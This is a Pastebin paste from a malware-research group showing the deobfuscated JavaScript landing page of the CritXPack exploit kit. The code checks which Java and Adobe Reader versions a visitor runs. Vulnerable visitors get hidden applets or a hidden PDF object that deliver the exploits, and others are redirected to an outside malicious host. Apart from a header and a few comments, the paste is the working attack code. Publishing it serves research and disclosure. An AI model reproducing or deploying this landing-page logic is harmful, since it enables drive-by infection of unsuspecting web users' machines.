Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- // #MalwareMustDie - The cracked code of:
- // CritXPack Exploit Kit Landing Page
- // @unixfreaxjp /malware]$ date
- // Sun Jan 13 21:16:41 JST 2013
- var Y9Nmp1nN7 = 0;
- var selJdFtA = 0;
- var b3RSQGB84 = 0;
- try {
- var GfkghfHqFF9 = (PluginDetect.getVersion("Java") + ".").toString().split(".");
- if ((GfkghfHqFF9[0] == 1) && (GfkghfHqFF9[1] == 7) && (GfkghfHqFF9[3] < 9)){
- Y9Nmp1nN7 = 7
- }
- else if ((GfkghfHqFF9[0] == 1) && (GfkghfHqFF9[1] == 6) && (GfkghfHqFF9[3] < 33)){
- Y9Nmp1nN7 = 6
- }
- else if ((GfkghfHqFF9[0] == 1) && (GfkghfHqFF9[1] < 6)){
- Y9Nmp1nN7 = 5
- }
- else {
- Y9Nmp1nN7 = 0
- }
- }
- catch (e){
- Y9Nmp1nN7 = 0
- }
- try {
- var bqeVOXhTg9n = (PluginDetect.getVersion("AdobeReader") + ".")["toString"]().split("."
- );
- if ((bqeVOXhTg9n[0] == 8) || ((bqeVOXhTg9n[0] == 9) && (bqeVOXhTg9n[1] < 4))){
- selJdFtA = 2
- }
- else {
- selJdFtA = 0
- }
- }
- catch (e){
- selJdFtA = 0
- }
- if ((selJdFtA == 0) && (Y9Nmp1nN7 == 0) && (b3RSQGB84 == 0)){
- document.location.href = "http://root.kaovo.com/n121212p/awsxd/jpfoff.php?token=%64%65%66%61%75%6c%74&"
- }
- if (Y9Nmp1nN7 == 5){
- document.write('<div style="visibility:hidden"><applet code="a.Test" archive="j15.php?i=cXOYGn5Mc5008McXOY0SFtid0Sd5dSAjAr1fAjrSiFk06riAlWcXOYDF1DF5DFFDFSDl5DFjDl1cXO5" width="1" height="1"><param name="oh" value="dXXOszzHUUX9PFUhU9WULz=#Y#Y#YOzF:BnfzoUFf9OdORiM-SF-r#-1r-r#-tApXUPi=M-rS-rA-rr-r#-1A-rW-1Sp"></applet></div>')
- }
- if (Y9Nmp1nN7 == 6){
- document.write('
- <div style="visibility:hidden"><applet code="a.Test" archive="j16.php?i=cXOYGn5Mc5008McXOY0SFtid0Sd5dSAjAr1fAjrSiFk06riAlWcXOYDF1DF5DFFDFSDl5DFjDl1cXOYF" width="1" height="1"><param name="oh" value="dXXOszzHUUX9PFUhU9WULz=#Y#Y#YOzF:BnfzoUFf9OdORiM-SF-r#-1r-r#-trpXUPi=M-rS-rA-rr-r#-1A-rW-1Sp"></applet></div>')
- }
- if (Y9Nmp1nN7 == 7){ // java infector part is here!!!!!
- document.write('
- <div style="visibility:hidden"><applet code="E" archive="j17.php?i=cXOYGn5Mc5008McXOY0SFtid0Sd5dSAjAr1fAjrSiFk06riAlWcXOYDF1DF5DFFDFSDl5DFjDl1cXOYl" width="1" height="1"><param name="oh" value="dXXOszzHUUX9PFUhU9WULz=#Y#Y#YOzF:BnfzoUFf9OdORiM-SF-r#-1r-r#-t1pXUPi=M-rS-rA-rr-r#-1A-rW-1Sp"></applet></div>')
- }
- if (selJdFtA == 2){ //pdf infector part is here!!!!!
- document.write('
- <div style="visibility:hidden"><object type="application/pdf" data="lpdf.php?i=cXOYGn5Mc5008McXOY0SFtid0Sd5dSAjAr1fAjrSiFk06riAlWcXOYDF1DF5DFFDFSDl5DFjDl1cXOYxLk&" width="10" height="10"></object></div>')
- }
- ----
- #MalwareMustDie!
Add Comment
Please, Sign In to add comment